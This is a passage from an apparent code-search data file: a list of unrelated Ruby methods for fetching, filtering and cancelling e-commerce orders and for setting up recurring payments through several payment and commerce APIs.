order_criteria[\"ins1:PaymentStatusFilter\"] = criteria[:payment_status] if criteria[:payment_status]\n order_criteria[\"ins1:CheckoutStatusFilter\"] = criteria[:checkout_status] if criteria[:checkout_status]\n order_criteria[\"ins1:ShippingStatusFilter\"] = criteria[:shipping_status] if criteria[:shipping_status]\n order_criteria[\"ins1:RefundStatusFilter\"] = criteria[:refund_status] if criteria[:refund_status]\n order_criteria[\"ins1:DistributionCenterCode\"] = criteria[:distribution_center] if criteria[:distribution_center]\n order_criteria[\"ins1:PageNumberFilter\"] = criteria[:page_number]\n order_criteria[\"ins1:PageSize\"] = criteria[:page_size]\n\n soap_response = client.request :get_order_list do\n soap.header = soap_header\n soap.body = {\n \"ins0:accountID\" => creds(:account_id),\n \"ins0:orderCriteria\" => order_criteria\n }\n end\n\n @last_request = client.http\n @last_response = soap_response\n end", "def orders_including_customer\n Spree::Order\n .joins(:order_cycle)\n .includes(:customer)\n .for_order_cycle(order_cycle)\n .completed\n .order('customers.name ASC')\n end", "def list_recurring_details(shopper_reference:, merchant_account: @merchant_account, contract: \"RECURRING\")\n postJSON(\"/Recurring/v12/listRecurringDetails\",\n shopperReference: shopper_reference,\n recurring: { contract: contract },\n merchantAccount: merchant_account\n )\n end", "def orders(id, orderid = nil)\n get(\"/accounts/#{id}/orders#{orderid ? \"/#{orderid}\" : ''}\")['orders']\n end", "def recent_orders()\n\t\twith_auth nil do |options|\n\t\t\tself.class.get(\"/api/v1/orders\", options)\n \tend\n\tend", "def orders\n Reggora::Resources::Order.new(config)\n end", "def invoiced_orders\n return [] if !is_client?\n client.orders\n end", "def driver_recurring_orders\n @orders = Timeslot.joins(:orders).where(orders: { category: :recurring}, timeslots: {region_id: current_user.driver.region_id})\n render json: @orders, status: 200\n end", "def get_orders\n orders\n end", "def next_recurring_order\n if actual_order = self.last_active_recurring_order\n self.orders.recurring.find(:all, :conditions => [\"orders.id > ?\", actual_order.id],\n :order => \"orders.id ASC\").first\n end\n end", "def monitor_orders()\r\n\t\topen = $future_rest.open_orders symbol: 'BTCUSDT'\r\n\t\t# all orders\r\n\t\tall = $future_rest.all_orders symbol: 'BTCUSDT'\r\n\tend", "def index\n @orders = current_user.type == 'Referral' ? current_user.orders : Order\n @orders = @orders.success_order.page(params[:page]).per(100).order('orders.created_at DESC')\n end", "def recurring(money, creditcard, options = {})\r\n requires!(options, :rebill_frequency)\r\n\r\n request = RocketGate::GatewayRequest.new\r\n response = RocketGate::GatewayResponse.new\r\n service = RocketGate::GatewayService.new\r\n if test? # Test transaction?\r\n service.SetTestMode(true) # Set internal test mode\r\n end\r\n\r\n#\r\n#\tAdd the details of the transaction to the request.\r\n#\r\n add_merchant_data(request, options) # Add merchant information\r\n add_customer_data(request, options) # Add customer information\r\n add_invoice_data(request, money, options)\r\n add_recurring_data(request, options)\r\n add_creditcard(request, creditcard) # Add credit card data\r\n add_address(request, options[:billing_address])\r\n add_business_rules_data(request, options)\r\n\r\n#\r\n#\tPeform the transaction and return a response.\r\n#\r\n service.PerformPurchase(request, response)\r\n return create_response(response)\r\n end", "def index# not :post order. this is a :get index of previous orders.\n @orders = current_refinery_user.orders.order('created_at DESC')\n end", "def list_orders\n Order.list(@current_user)\n end", "def customer_list\n perform_get_request('/customer/list')\n end", "def order_list\n if org_type==\"поставщик\"\n return orders\n else\n return outgoing_orders\n end\n end", "def open_orders(options)\n request :account, :get, 'openOrders', options\n end", "def recurring_charges\n data.recurring_charges\n end", "def payment_orders\n xml do |xml|\n xml.css(\"paymentOrdersResult > paymentOrders > paymentOrder\").map do |node|\n SubscriptionPaymentOrder.load_from_xml(node)\n end\n end\n end", "def index\n @customer = current_customer\n @orders = current_customer.orders.all.order(created_at: :desc)\n end", "def orders\n authenticated_post(\"orders\").body\n end", "def order(id, orderid = '')\n get(\"/accounts/#{id}/orders\")['orders']\n end", "def orders\n @title = \"Your Orders\"\n @orders = @customer.orders.paginate(\n :page => params[:page],\n :per_page => 10\n )\n end", "def orders\n resp = API.connection.get 'api/orders', {\n user_email: @email,\n user_token: @token\n }\n\n case resp.status\n when 200\n resp.body.map { |order_hash| Order.new(order_hash) }\n when 401\n raise Teachable::AuthError, resp.body['error']\n else\n raise Teachable::Error, 'Unknown response.'\n end\n end", "def orders\n return [] if !is_client?\n client.orders\n end", "def get_orders_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: OrderApi.get_orders ...'\n end\n # resource path\n local_var_path = '/order/orders'\n\n # query parameters\n query_params = {}\n query_params[:'order_id'] = opts[:'order_id'] if !opts[:'order_id'].nil?\n query_params[:'payment_method'] = opts[:'payment_method'] if !opts[:'payment_method'].nil?\n query_params[:'company'] = opts[:'company'] if !opts[:'company'].nil?\n query_params[:'first_name'] = opts[:'first_name'] if !opts[:'first_name'].nil?\n query_params[:'last_name'] = opts[:'last_name'] if !opts[:'last_name'].nil?\n query_params[:'city'] = opts[:'city'] if !opts[:'city'].nil?\n query_params[:'state_region'] = opts[:'state_region'] if !opts[:'state_region'].nil?\n query_params[:'postal_code'] = opts[:'postal_code'] if !opts[:'postal_code'].nil?\n query_params[:'country_code'] = opts[:'country_code'] if !opts[:'country_code'].nil?\n query_params[:'phone'] = opts[:'phone'] if !opts[:'phone'].nil?\n query_params[:'email'] = opts[:'email'] if !opts[:'email'].nil?\n query_params[:'cc_email'] = opts[:'cc_email'] if !opts[:'cc_email'].nil?\n query_params[:'total'] = opts[:'total'] if !opts[:'total'].nil?\n query_params[:'screen_branding_theme_code'] = opts[:'screen_branding_theme_code'] if !opts[:'screen_branding_theme_code'].nil?\n query_params[:'storefront_host_name'] = opts[:'storefront_host_name'] if !opts[:'storefront_host_name'].nil?\n query_params[:'creation_date_begin'] = opts[:'creation_date_begin'] if !opts[:'creation_date_begin'].nil?\n query_params[:'creation_date_end'] = opts[:'creation_date_end'] if !opts[:'creation_date_end'].nil?\n query_params[:'payment_date_begin'] = opts[:'payment_date_begin'] if !opts[:'payment_date_begin'].nil?\n query_params[:'payment_date_end'] = opts[:'payment_date_end'] if !opts[:'payment_date_end'].nil?\n query_params[:'shipment_date_begin'] = opts[:'shipment_date_begin'] if !opts[:'shipment_date_begin'].nil?\n query_params[:'shipment_date_end'] = opts[:'shipment_date_end'] if !opts[:'shipment_date_end'].nil?\n query_params[:'rma'] = opts[:'rma'] if !opts[:'rma'].nil?\n query_params[:'purchase_order_number'] = opts[:'purchase_order_number'] if !opts[:'purchase_order_number'].nil?\n query_params[:'item_id'] = opts[:'item_id'] if !opts[:'item_id'].nil?\n query_params[:'current_stage'] = opts[:'current_stage'] if !opts[:'current_stage'].nil?\n query_params[:'channel_partner_code'] = opts[:'channel_partner_code'] if !opts[:'channel_partner_code'].nil?\n query_params[:'channel_partner_order_id'] = opts[:'channel_partner_order_id'] if !opts[:'channel_partner_order_id'].nil?\n query_params[:'_limit'] = opts[:'_limit'] if !opts[:'_limit'].nil?\n query_params[:'_offset'] = opts[:'_offset'] if !opts[:'_offset'].nil?\n query_params[:'_sort'] = opts[:'_sort'] if !opts[:'_sort'].nil?\n query_params[:'_expand'] = opts[:'_expand'] if !opts[:'_expand'].nil?\n\n # header parameters\n header_params = {}\n header_params['X-UltraCart-Api-Version'] = @api_client.select_header_api_version()\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['ultraCartOauth', 'ultraCartSimpleApiKey']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'OrdersResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OrderApi#get_orders\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def order_history\r\n @orders = @customer.close_orders\r\n end", "def getAndCancelOrderIdByCustomerId(id)\n unit = \"Orders\"\n key = \"id\"\n #value = mailaddress\n url_data = \"/api/orders\"\n filter = \"?filter[customerId]=#{id}\"\n url_request = \"#{url_data}/#{filter}\"\n puts \"url_request:#{url_request}\"\n response_data_customer = readData(url_request)\n amount_total_orders = response_data_customer['total']\n puts \"amount_total_orders:#{amount_total_orders}\"\n counter=0\n #while loop: set status for all known orders from user -> this is not required\n while counter < amount_total_orders do\n order_id_by_mail = response_data_customer['data'][counter][key]\n order_number_by_mail = response_data_customer['data'][counter]['number']\n puts \">>>>>> cancel order with id:#{order_id_by_mail} and order_number: #{order_number_by_mail}\"\n setValueToCancel(unit, order_id_by_mail, \"orderStatusId\")\n #deleteing orders is not possible because missing api-comand\n counter += 1\n end\n return order_id_by_mail\n end", "def listOrders()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n ret = []\n Order.find_each do |order|\n ret << {id: order.id, product_id: order.product_id, product_name: Product.find(order.product_id).name, user_id: order.user_id, quantity: order.quantity, price_per_unit: order.price_per_unit, int_status: order.order_status}\n end\n render json: {data: ret.to_json, reason: '', status: true}\n end", "def search_orders(params={})\n coerce_search_orders_params(params)\n\n EventbriteSDK::ResourceList.new(\n url_base: \"#{path}/orders\",\n object_class: EventbriteSDK::Order,\n key: :orders,\n query: params\n )\n end", "def index\n @confirmed_orders = ConfirmedOrder.all\n end", "def paypal_checkout_recurring\n description = \"Pay to buy this domain.\"\n description += \"Domain: \" + (session['domain']['name']+\".\"+session['domain']['type']).downcase\n description += \".billing:\"\n description += \" -period: Month,\"\n description += \" -frequency: 12,\"\n description += \" -amount: \" + session['order_item']['total_price'] +\",\"\n description += \" -currency_code: USD.\"\n\n Paypal.sandbox! if PAYPAL_API[:sandbox]\n request = Paypal::Express::Request.new(\n :username => PAYPAL_API[:username],\n :password => PAYPAL_API[:password],\n :signature => PAYPAL_API[:signature]\n )\n payment_request = Paypal::Payment::Request.new(\n :currency_code => :USD, # if nil, PayPal use USD as default\n :billing_type => :RecurringPayments,\n :billing_agreement_description => description\n )\n response = request.setup(\n payment_request,\n paypal_recurring_url,\n root_url\n )\n #@my_redirect_uri = response.redirect_uri\n\n redirect_to response.redirect_uri\n end", "def last_active_recurring_order\n self.orders.recurring.find(:all, :order => \"orders.id ASC\").select {|o| Date.today >= o.service_period_start_on && Date.today <= o.service_period_end_on}.last\n end", "def index\n @customer_order_items = CustomerOrderItem.all\n end", "def all(params = {})\n req = WebPay::BasicListRequest.create(params)\n raw_response = @client._request(:get, 'customers', req)\n WebPay::CustomerResponseList.new(raw_response)\n end", "def index\n @customers = Customer.where(order_id: params[:order_id])\n @order = Order.find(params[:order_id])\n end", "def customer_single_orders\n @orders = Order.where(customer_id: current_user.customer_id, category: :single)\n render json: @orders, status: 200\n\n end", "def completed_orders\n orders = current_user.restaurant.orders.where(\"status = ? OR status = ? \", 7, 8)\n render json: orders, status: :ok\n end", "def get_order_list(options = {})\n xml = send_recv(:GetOrderList, :Start => (options[:start] || 1)) do |h|\n h[:BeginDate] = if options[:begin].respond_to?(:strftime)\n options[:begin].strftime(\"%m/%d/%Y\")\n else\n options[:begin]\n end\n\n h[:EndDate] = if options[:end].respond_to?(:strftime)\n options[:end].strftime(\"%m/%d/%Y\")\n else\n options[:end]\n end\n end\n\n out = []\n xml.OrderList do\n xml.OrderDetail do\n { :id => xml.OrderID,\n :date => Time.parse(xml.OrderDate),\n :status => xml.StatusDesc,\n :processed => xml.OrderProcessFlag? }\n end\n end\n out\n end", "def index\n @orders = current_customer.try(:orders).order(date: :desc)\n end", "def getNextCancelledOrder(status_hash)\n\t\t$CONFIG[:api_path] +='/next_cancelled_order'\n\t\tbegin\n\t\t\tresponse = RestClient.get(apiAuth)\n\t\trescue\n\t\t\tstatus_hash[:status] = 1\n\t\t\tstatus_hash[:msg] = \"couldn't connect to api\"\n\t\tend\n\n\t\tif response.to_s.include?('{\"meta\":{\"status\":200,\"msg\":\"OK\"}')\n\t\t\ttmp_order_hash = JSON.parse(response)\n\t\t\tstatus_hash[:status] = 0\n\t\t\tstatus_hash[:msg] = 'cancelled order received'\n\t\telse\n\t\t\tstatus_hash[:status] = 1\n\t\t\tstatus_hash[:msg] = 'no cancelled orders'\n\t\t\tputs status_hash[:msg]\t\t\t\n\t\t\texit\n\t\tend\n\t\t\n\t\torder_hash = {\n\t\t\t:order_number\t\t\t\t\t=>\ttmp_order_hash[\"response\"][\"order\"][\"order_number\"].to_s,\n\t\t\t:customer_first_name\t=>\ttmp_order_hash[\"response\"][\"order\"][\"customer_first_name\"],\n\t\t\t:customer_last_name\t\t=>\ttmp_order_hash[\"response\"][\"order\"][\"customer_last_name\"],\n\t\t\t:customer_email\t\t\t\t=>\ttmp_order_hash[\"response\"][\"order\"][\"customer_email\"],\n\t\t\t:status\t\t\t\t\t\t\t\t=>\ttmp_order_hash[\"response\"][\"order\"][\"status\"]\n\t\t}\n\t\torder_hash\n\tend", "def my_orders\n @orders = current_user.orders.all\n end", "def single_customer_reports\n @id = params[:id] # stores customer id\n @user = User.find(@id)\n start_date = params[:start_date]\n if (start_date.nil?)\n @date_arr = @user.orders.all\n else\n end_date = params[:end_date]\n @date_arr = []\n @user.orders.each do |order|\n if (order.date.strftime(\"%Y-%m-%d\").to_date >= start_date.to_date && order.date.strftime(\"%Y-%m-%d\").to_date <= end_date.to_date)\n @date_arr.push(order)\n end\n end\n end\n end", "def customer_order\n @customer_order\n end", "def get_orders_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: OrdersApi.get_orders ...'\n end\n allowable_values = [\"es\", \"en\"]\n if @api_client.config.client_side_validation && opts[:'accept_language'] && !allowable_values.include?(opts[:'accept_language'])\n fail ArgumentError, \"invalid value for \\\"accept_language\\\", must be one of #{allowable_values}\"\n end\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 250\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling OrdersApi.get_orders, must be smaller than or equal to 250.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling OrdersApi.get_orders, must be greater than or equal to 1.'\n end\n\n # resource path\n local_var_path = '/orders'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'search'] = opts[:'search'] if !opts[:'search'].nil?\n query_params[:'next'] = opts[:'_next'] if !opts[:'_next'].nil?\n query_params[:'previous'] = opts[:'previous'] if !opts[:'previous'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/vnd.conekta-v2.1.0+json'])\n header_params[:'Accept-Language'] = opts[:'accept_language'] if !opts[:'accept_language'].nil?\n header_params[:'X-Child-Company-Id'] = opts[:'x_child_company_id'] if !opts[:'x_child_company_id'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'GetOrdersResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['bearerAuth']\n\n new_options = opts.merge(\n :operation => :\"OrdersApi.get_orders\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: OrdersApi#get_orders\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def orders(options = {})\n perform_get_with_key_and_objects('/orders', options, :items, Epages::Order)\n end", "def get_customer_order\n begin\n db = SQLite3::Database.open(ENV[\"BANGAZON\"])\n array_of_orders = db.execute(\"SELECT customers.id 'Customer Number', customers.last_name 'Last Name', customers.first_name 'First Name', orders.id 'Order Number', products.product_title 'Product', products.product_price 'Price'\n FROM orders, customers, order_products, products\n\n WHERE orders.customer_id = ?\n AND orders.id = ?\n AND order_products.product_id = products.id\", [@customer_id, @id])\n db.close\n end\n array_of_orders\n end", "def all_recurrings(&block)\n recurrings.list(&block)\n end", "def customer_order\n order = current_user.restaurant.orders.find(params[:id])\n render json: order.as_json(include: [:customer, {order_details: {include: :meal}}]), status: :ok\n end", "def index\n @orders = Order.all.chronological.paginate(:page => params[:page]).per_page(10)\n #for shippers\n @paid_orders = Order.paid.chronological.to_a\n @unshipped_orders = Order.not_shipped.chronological.to_a\n @paid_and_unshipped_orders = Order.paid.not_shipped.chronological.to_a\n end", "def _wapi_order(order_type_sym, order_hash)\n response = c.soap(order_type_sym, { \n order_type_sym => { \n :_attributes => { :xmlns => 'http://wildwestdomains.com/webservices/' }\n }.update(order_hash).update(creds).update(c.class.uuid_hash) }\n )\n \n result = c.class.decode_soap(response.body)\n if result['result']['code'] == '1000'\n self.orders ||= []\n self.orders << { :user_id => result['user'], :dbpuser_id => result['dbpuser'], :orderid => result['resdata']['orderid'] }\n return self.orders.last\n else\n raise(GoDaddyResellerError.new(result['result']['msg']))\n end\n end", "def getOrderList(startDate, endDate, state = \"CHARGED\", expanded = false)\n\n try_get(\"https://checkout.google.com/sell/orders\")\n\n @agent.page.form_with(:name => \"dateInput\") do |form|\n form[\"start-date\"] = startDate\n form[\"end-date\"] = endDate\n if (state == \"ALL\")\n form.delete_field!(\"financial-state\")\n else\n form[\"financial-state\"] = state\n end\n if (expanded)\n form[\"column-style\"] = \"EXPANDED\"\n end\n #form[\"date-time-zone\"] = \"Asia/Tokyo\"\n #form[\"_type\"] = \"order-list-request\"\n #form[\"query-type\"] = \"\"\n form.click_button\n end\n\n return @agent.page.body\n end", "def open_orders\n OpenOrderParser.parse_collection(post(\"money/orders\"))\n end", "def index\n @user_orders = UserOrder.all\n end", "def partial_orders\n @orders = search_reasult(params).includes(:line_items).where(\"fulflmnt_tracking_no IS NULL AND is_cancel=false\").order('order_date desc')\n @orders = Kaminari.paginate_array(@orders).page(params[:page]).per(params[:per_page] || Spree::Config[:orders_per_page])\n end", "def order_domain_renewals(order_hash)\n _wapi_order(:OrderDomainRenewals, order_hash)\n end", "def recorders\n find_related_frbr_objects( :is_recorded_by, :which_roles?) \n end", "def index\n @orders = Order.user_orders current_user\n end", "def index\n @recurring_transactions = current_user.recurring_transactions.order(:start_date => :asc, :end_date => :asc)\n respond_with @recurring_transactions\n end", "def index\n @orders = Order::Preorder.all\n end", "def get_orders(account_number, page = 1, limit = 10, filter = nil)\r\n # the base uri for api requests\r\n query_builder = Configuration.base_uri.dup\r\n\r\n # prepare query string for API call\r\n query_builder << '/accounts/{account_number}/orders'\r\n\r\n # process optional query parameters\r\n query_builder = APIHelper.append_url_with_template_parameters query_builder, {\r\n 'account_number' => account_number\r\n }\r\n\r\n # process optional query parameters\r\n query_builder = APIHelper.append_url_with_query_parameters query_builder, {\r\n 'page' => if page.nil? then 1 else page end,\r\n 'limit' => if limit.nil? then 10 else limit end,\r\n 'filter' => filter\r\n }\r\n\r\n # validate and preprocess url\r\n query_url = APIHelper.clean_url query_builder\r\n\r\n # prepare headers\r\n headers = {\r\n 'user-agent' => 'APIMATIC 2.0',\r\n 'accept' => 'application/json',\r\n 'X-Auth-Token' => Configuration.x_auth_token\r\n }\r\n\r\n # invoke the API call request to fetch the response\r\n response = Unirest.get query_url, headers: headers\r\n\r\n # Error handling using HTTP status codes\r\n if response.code == 401\r\n raise APIException.new 'You are not authenticated', 401, response.raw_body\r\n elsif response.code == 403\r\n raise APIException.new 'This action needs a valid WSSE header', 403, response.raw_body\r\n elsif response.code == 404\r\n raise APIException.new 'Resource not found', 404, response.raw_body\r\n elsif response.code == 400\r\n raise APIException.new 'Http bad request', 400, response.raw_body\r\n elsif !response.code.between?(200, 206) # [200,206] = HTTP OK\r\n raise APIException.new 'HTTP Response Not OK', response.code, response.raw_body\r\n end\r\n\r\n response.body\r\n end", "def get_orders(opts = {})\n data, _status_code, _headers = get_orders_with_http_info(opts)\n data\n end", "def get_orders(opts = {})\n data, _status_code, _headers = get_orders_with_http_info(opts)\n data\n end", "def particular_customer_quotes\n offset = 0\n filter = \"%\"\n if (params[:offset].class.to_s != \"NilClass\" && params[:offset].integer?)\n offset = params[:offset].to_i\n end\n if (params[:filter].class.to_s != \"NilClass\")\n filter = \"%\" + params[:filter] + \"%\"\n end\n # lstQuotes = Quote.includes(:dispatcher, :customer, :status).order('dtCreated DESC').offset(offset).limit(30).to_json(include: [:dispatcher, :customer, :status])\n # it should be this query which is written down\n lstQuotes = Quote.includes(:dispatcher, :customer, :status).where(idClient: params[:no]).order('dtCreated DESC').offset(offset).limit(30).to_json(include: [:dispatcher, :customer, :status])\n # lstQuotes = Quote.includes(:dispatcher, :customer, :status).where(\"(note like ? OR status.name LIKE ? OR dispatcher.firstName LIKE ? OR dispatcher.lastName LIKE ? OR reference LIKE ? ) AND idClient = ?\", filter, filter, filter, filter, filter, params[:no]).order('DESC').offset(offset).limit(30)\n\n # lstQuotes.each do |quote|\n # # TODO! Format each quote before send it.\n # end\n return render_json_response(lstQuotes, :ok)\n end", "def listor\n puts \"\\n -- List of orders --\"\n @restaurant.retrieve_orders\n end", "def index\n @ecom_orders = EcomOrder.all\n end", "def get_all_customers\r\n begin\r\n @logger.info(\"get_all_customers called.\")\r\n\r\n # prepare query url\r\n @logger.info(\"Preparing query URL for get_all_customers.\")\r\n _query_builder = Configuration.get_base_uri().clone\r\n _query_builder << '/customers'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # prepare headers\r\n @logger.info(\"Preparing headers for get_all_customers.\")\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n\r\n # prepare and execute HttpRequest\r\n @logger.info('Preparing and executing HttpRequest for get_all_customers.')\r\n _request = @http_client.get _query_url, headers: _headers\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request, name: 'get_all_customers')\r\n validate_response(_context)\r\n\r\n # return appropriate response type\r\n @logger.info(\"Returning response for get_all_customers.\")\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n return decoded.map{|element| CustomerModel.from_hash(element)}\r\n\r\n rescue Exception => e\r\n @logger.error(e)\r\n raise e\r\n end\r\n end", "def index\n search_order_per_customer()\n end", "def show\n @orders = @client.orders.where(is_validate:true)\n end", "def index\n\t\t@orders = Order.includes(:user).paginate(page: params[:page], per_page: 10).order(order_date: :desc)\n\tend", "def make_api_call_for_getting_order(order_id, access_token)\n url = ENV['NINJAVAN_URL_FOR_GETTING_ORDER'] + order_id\n RestClient.get(url, Authorization: \"Bearer #{access_token}\")\n end", "def index\n @custom_cake_orders = CustomCakeOrder.all\n end", "def get_order_lines\n current_order = @order_lines.get_order_lines_by_order_id(@order_status)\n return current_order\n end", "def index\n @orders = @restaurant.orders.where(state: Order::PRE_DELIVERED_STATES).includes(:order_items, :items)\n end", "def recurring(money, creditcard, options={})\n options[:recurring] = true\n @autobill_prefix = options[:autobill_prefix] || \"A\"\n\n response = authorize(money, creditcard, options)\n return response if !response.success? || response.fraud_review?\n\n capture_resp = capture(money, response.authorization, options)\n return capture_resp if !response.success?\n\n # Setting up a recurring AutoBill requires an associated product\n requires!(options, :product_sku)\n autobill_response = check_subscription(authorize_subscription(options.merge(:product_sku => options[:product_sku])))\n\n if autobill_response.success?\n autobill_response\n else\n # If the AutoBill fails to set-up, void the transaction and return it as the response\n void_response = void(capture_resp.authorization, options)\n if void_response.success?\n return autobill_response\n else\n return void_response\n end\n end\n end", "def list(options = {})\n get(\"customers/#{customer_id}/deliveries\", options)\n end", "def batch_retrieve_orders(body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::POST,\n '/v2/orders/batch-retrieve',\n 'default')\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end)\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end", "def orders(params = {})\n get('/market/orders', params)\n .map { |data| build_persisted_order data }\n end", "def index\n # uses the customer_orders scope to retrieve all the orders that the current customer has made\n @orders = Order.customer_orders(current_customer)\n # uses the customer_average_order_cost scope to calculate the average cost of all the orders that the\n # current customer has made\n @average_cost_of_orders = Order.customer_average_order_cost(current_customer)\n end", "def get_order(account_number, order_id)\r\n # the base uri for api requests\r\n query_builder = Configuration.base_uri.dup\r\n\r\n # prepare query string for API call\r\n query_builder << '/accounts/{account_number}/orders/{order_id}'\r\n\r\n # process optional query parameters\r\n query_builder = APIHelper.append_url_with_template_parameters query_builder, {\r\n 'account_number' => account_number,\r\n 'order_id' => order_id\r\n }\r\n\r\n # validate and preprocess url\r\n query_url = APIHelper.clean_url query_builder\r\n\r\n # prepare headers\r\n headers = {\r\n 'user-agent' => 'APIMATIC 2.0',\r\n 'accept' => 'application/json',\r\n 'X-Auth-Token' => Configuration.x_auth_token\r\n }\r\n\r\n # invoke the API call request to fetch the response\r\n response = Unirest.get query_url, headers: headers\r\n\r\n # Error handling using HTTP status codes\r\n if response.code == 401\r\n raise APIException.new 'You are not authenticated', 401, response.raw_body\r\n elsif response.code == 403\r\n raise APIException.new 'This action needs a valid WSSE header', 403, response.raw_body\r\n elsif response.code == 404\r\n raise APIException.new 'Resource not found', 404, response.raw_body\r\n elsif response.code == 400\r\n raise APIException.new 'Http bad request', 400, response.raw_body\r\n elsif !response.code.between?(200, 206) # [200,206] = HTTP OK\r\n raise APIException.new 'HTTP Response Not OK', response.code, response.raw_body\r\n end\r\n\r\n response.body\r\n end", "def index\n @orders = Order.order(\"id DESC\").page(params[:page])\n\n if params[:user_id]\n @orders = @orders.where(:user_id => params[:user_id])\n end\n\n if Rails.configuration.orders_status.select{|k, v| v[:real]}.keys.include? params[:status]\n @orders = @orders.where(:status => params[:status])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def orders\n if params[:date]\n @orders = Spree::Order.where(\"DATE(created_at) = ?\", params[:date])\n respond_to do |format|\n format.xml { render xml: @orders }\n end\n else\n @orders = Spree::Order.all.where(\"DATE(created_at) = DATE(?)\", Time.now)\n respond_to do |format|\n format.xml { render xml: @orders }\n end\n end\n end", "def index\n # Public method\n if current_user_is_admin\n @orders = Order.all\n elsif current_user\n @orders = Order.where(email: current_user.email)\n else\n @orders = []\n end\n end", "def index\n if current_user[:user_type] == :normal\n @orders = Order.where('email = ?', current_user[:login]).order(:created_at).reverse_order\n else\n @orders = Order.order(:created_at).reverse_order\n end\n @criteria = OrderCriteria.new\n end", "def return_order_by_warehouse_and_merchant_account_and_customer (time_begin, time_end, warehouse, merchant_account, customer)\n if merchant_account == nil\n if customer == nil\n if time_begin == nil and time_end == nil\n if warehouse == nil\n return []\n else\n return Order.where(:warehouse_id => warehouse)\n end\n else\n if warehouse == nil\n return Order.where(:created_at => time_begin.beginning_of_day..time_end.end_of_day)\n else\n return Order.where(:created_at => time_begin.beginning_of_day..time_end.end_of_day, :warehouse_id => warehouse)\n end\n end\n else\n if time_begin == nil and time_end == nil\n if warehouse == nil\n return Order.where(:customer_id => customer)\n else\n return Order.where(:warehouse_id => warehouse, :customer_id => customer)\n end\n else\n if warehouse == nil\n return Order.where(\n :created_at => time_begin.beginning_of_day..time_end.end_of_day,\n :customer_id => customer)\n else\n return Order.where(\n :created_at => time_begin.beginning_of_day..time_end.end_of_day,\n :warehouse_id => warehouse,\n :customer_id => customer)\n end\n end\n end\n else\n if customer == nil\n if time_begin == nil and time_end == nil\n if warehouse == nil\n return Order.where(:merchant_account_id => merchant_account)\n else\n return Order.where(:warehouse_id => warehouse, :merchant_account_id => merchant_account)\n end\n else\n if warehouse == nil\n return Order.where(:created_at => time_begin.beginning_of_day..time_end.end_of_day,\n :merchant_account_id => merchant_account)\n else\n return Order.where(\n :created_at => time_begin.beginning_of_day..time_end.end_of_day,\n :warehouse_id => warehouse,\n :merchant_account_id => merchant_account)\n end\n end\n else\n if time_begin == nil and time_end == nil\n if warehouse == nil\n return Order.where(:merchant_account_id => merchant_account, :customer_id => customer)\n else\n return Order.where(:warehouse_id => warehouse, :merchant_account_id => merchant_account, :customer_id => customer)\n end\n else\n if warehouse == nil\n return Order.where(\n :created_at => time_begin.beginning_of_day..time_end.end_of_day,\n :merchant_account_id => merchant_account,\n :customer_id => customer)\n else\n return Order.where(\n :created_at => time_begin.beginning_of_day..time_end.end_of_day,\n :warehouse_id => warehouse,\n :merchant_account_id => merchant_account,\n :customer_id => customer)\n end\n end\n end\n end\n end", "def index\n @allorders = Allorder.all\n end", "def open_orders\n OpenOrderParser.parse_collection(post(\"open_orders\"))\n end", "def get_order(order_id)\n\tputs \"Getting order: \" + order_id\n\tresponse = request_get(\"/api/order/\" + order_id)\n\tputs response.body\nend" ]
